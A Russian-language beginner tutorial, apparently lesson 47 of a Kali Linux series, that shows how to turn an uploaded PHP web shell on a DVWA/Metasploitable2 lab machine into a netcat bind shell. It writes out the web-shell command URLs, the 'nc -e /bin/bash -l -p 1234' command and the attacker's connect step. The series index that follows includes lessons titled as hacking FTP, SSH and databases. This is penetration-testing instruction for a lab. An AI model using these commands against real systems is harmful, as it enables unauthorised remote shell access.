Kali Linux

#47 Kali Linux для начинающих. Что такое Bind Shell?

Продолжаем рассматривать шеллы, и попробуем расширить доступ еще немного. Давайте проверим, запущен ли в системе netcat. Вводим команду: «http://192.168.119.130/dvwa/hackable/uploads/shell.php?cmd=nc -h»:

http://192.168.119.130/dvwa/hackable/uploads/shell.php?cmd=nc -h

Это справка о netcat, а это значит, что он установлен. Он работает фактически на всех линукс системах. Единственное отличие, что Вы можете его заметить в разных дистрибутивах, параметр –e  может отличаться:

параметр -e

В нашем случае нам повезло, и данную опцию мы можем использовать. Это важно, и очень скоро Вы узнаете, почему.

В некоторых случаях Вы будете получать доступ к «netcat» без параметра «-e», но это может быть неприятно.

Давайте продолжим повышать доступ к системе. Как видим, «netcat» можно использовать для прослушивания входящего соединения:

nc -l -p port

Иными словами, я могу использовать «netcat» для прослушивания порта, на котором он стоит. Пропишем в адресной строке url такую команду: «192.168.119.130/dvwa/hackable/uploads/shell.php?cmd=nc -l -p 1234»:

192.168.119.130/dvwa/hackable/uploads/shell.php?cmd=nc -l -p 1234

Загрузка страницы не должна завершаться, и это говорит о том, что порт «netcat» работает и прослушивается. Мы можем просканировать данный айпи целевой машины, с помощью инструмента «nmap». Команда будет выглядеть как: «nmap –p 1234 192.168.119.130»:

nmap –p 1234 192.168.119.130

Порт открыт, как видим из результата сканирования.

Теперь мы можем подключиться к айпи адресу моей цели. Для этого нужно выполнить команду: «nc 192.168.119.130 1234»:

nc 192.168.119.130 1234

Как видим, ничего не произошло, и мы просто прослушиваем этот порт. На текущем порте ничего не работает, не работает ни один сервис, и это просто открытый порт.

Обратите внимание на то, что нам придется воссоздать полный функционал порта с запущенными сервисами, так как нам необходимо привязать шелл к этому порту, а не просто прослушивать его. Нам нужно иметь доступ к шеллу, при подключении к этому порту.

Нам повезло, и в справке «netcat» мы обнаружили параметр «-e». Давайте еще раз посмотрим на него:

параметр -e

По тексту читаем, что это опасно «dangerous». Так происходит потому, что не только мы можем подключаться к этому порту, что является не безопасным, поэтому будьте осторожны, особенно если занимаетесь этим профессионально. Имейте ввиду, что здесь это не страшно, так как это тестовая лаборатория. Пропишем путь к bash-шеллу: «nc –e /bin/bash –l –p 1234»:

nc –e /bin/bash –l –p 1234

Переходим в терминал, и вновь пытаемся подключиться с помощью прошлой командой:

nc 192.168.119.130 1234

Отлично. Все работает, и мы получаем вывод.

Обратите внимание, что сейчас у меня есть доступ к неинтерактивному шеллу.

Неинтерактивный шелл – это шелл, который очень хорошо взаимодействует с пользователем, и в нем нет сообщений об ошибках, нет отображения процесса загрузки, нет сообщений, нет полосы загрузки, которая покажет прогресс. Это шелл, который отлично работает, но он ограничен в интерактивности.

Работать с этим шеллом не очень приятно, потому что чаще всего, Вы не понимаете, что делаете, и Вы не получаете ответов от системы.

Вопрос заключается в следующем, как получить или смогу ли я получить доступ к интерактивному шеллу. Этот шелл лучше, он имеет обратную связь. Ответ на вопрос: конечно же да.

Давайте пока подведем итоги того, что мы видели. Мы получили доступ к системе через уязвимость загрузки. Мы смогли загрузить php-скрипт, и запустить через него шелл команды. В шелле, выполнив команды, мы запустили «netcat», открыли порт на машине «Metasploitable2», привязали шелл к этому порту, чтобы он прослушивал входящие соединения. Далее мы использовали «netcat», в нашей системе, чтобы подключиться к этому порту. Это называется bind-шеллом. Конечно, если есть файрволл, который запрещает входящие соединения, тогда наше подключение к порту 1234 было бы безуспешным.

Это частый случай с bind-шеллами, потому что я устанавливаю подключение с моей машины на Kali, до машины цели, и почти любой файрволл увидит входящее соединение с портом 1234 (это странный порт), и не позволит подключение к нему. В итоге моя атака провалится. Вот почему более распространенная форма шеллов называется обратным или reverse shell, и он работает наоборот, по сравнении с bind-шеллом. Вместо того, чтобы пытаться подключиться с моей машины на Kali к машине на Metasploitable2, я заставлю жертву саму устанавливать соединение со мной.

#1 Kali Linux для начинающих. Урок 1 — Основы сетей.

#2 Kali Linux для начинающих. Урок 2 — Горячие клавиши. Часть 1

#3 Kali Linux для начинающих. Урок 2 — Горячие клавиши. Часть 2

#4 Kali Linux для начинающих. Терминал Kali Linux. Часть 1

#5 Kali Linux для начинающих. Терминал Kali Linux. Часть 2

#6 Kali Linux для начинающих. Урок 4 — Root Kali Linux. Часть 1

#7 Kali Linux для начинающих. Root Kali Linux — Часть 2

#8 Kali Linux для начинающих. Основные команды. Часть 1.

#9 Kali Linux для начинающих. Основные команды. Перемещение по директориям. Часть 2.

#10 Kali Linux для начинающих. Основные команды. Создание директорий. Часть 3

#11 Kali Linux для начинающих. Основные команды. Часть 4 — Просмотр содержимого директорий.

#12 Kali Linux для начинающих. Основные команды. Часть 5 — Просмотр содержимого файлов.

#13 Kali Linux для начинающих. Основные команды. Часть 6 — Копируем файлы и директории.

#14 Kali Linux для начинающих. Основные команды. Часть 7 — Перемещаем файлы и директории.

#15 Kali Linux для начинающих. Основные команды. Часть 8 — Удаляем файлы и директории.

#16 Kali Linux для начинающих. Управление пакетами.

#17 Kali Linux для начинающих. Откуда Kali скачивает софт.

#18 Kali Linux для начинающих. Изменения в Kali 2019 относительно APT.

#19 Kali Linux для начинающих. Архивация и сжатие. Часть 1.

#20 Kali Linux для начинающих. Архивация и сжатие. Часть 2.

#21 Kali Linux для начинающих. Архивация и сжатие. Часть 3.

#22 Kali Linux для начинающих. Специальные символы. Часть 1.

#23 Kali Linux для начинающих. Специальные символы. Часть 2

#24 Kali Linux для начинающих. Основы сетей.

#25 Kali Linux для начинающих. Администрирование. Редактирование файлов с помощью Nano.

#26 Kali Linux для начинающих. Превращаем Kali Linux в веб-сервер.

#27 Kali Linux для начинающих. Изменения в файлах конфигурации Kali Linux.

#28 Kali Linux для начинающих. Превращаем Kali Linux в SSH-сервер.

#29 Kali Linux для начинающих. Управление пользователями и группами.

#30 Kali Linux для начинающих. Работаем с правами пользователей.

#31 Kali Linux для начинающих. Разбираемся с процессами.

#32 Kali Linux для начинающих. Управляем процессами.

#33 Kali Linux для начинающих. Перенаправление и контроль вывода.

#34 Kali Linux для начинающих. Объединяем несколько команд в цепочку.

#35 Kali Linux для начинающих. Настраиваем цель.

#36 Kali Linux для начинающих. Сканируем порты с помощью Kali Linux.

#37 Kali Linux для начинающих. Сканируем порты с помощью графического интерфейса.

#38 Kali Linux для начинающих. Взламываем FTP.

#39 Kali Linux для начинающих. Сканируем уязвимости.

#40 Kali Linux для начинающих. Взламываем SSH.

#41 Kali Linux для начинающих. Взламываем веб-сервис.

#42 Kali Linux для начинающих. Взламываем базу данных. Атаки на пароли.

#43 Kali Linux для начинающих. Сниффим пароли.

#44 Kali Linux для начинающих. Повышение прав.

#45 Kali Linux для начинающих. Популярные инструменты. Быстрый обзор.

#46 Kali Linux для начинающих. Разбираемся с базовыми веб-шеллами.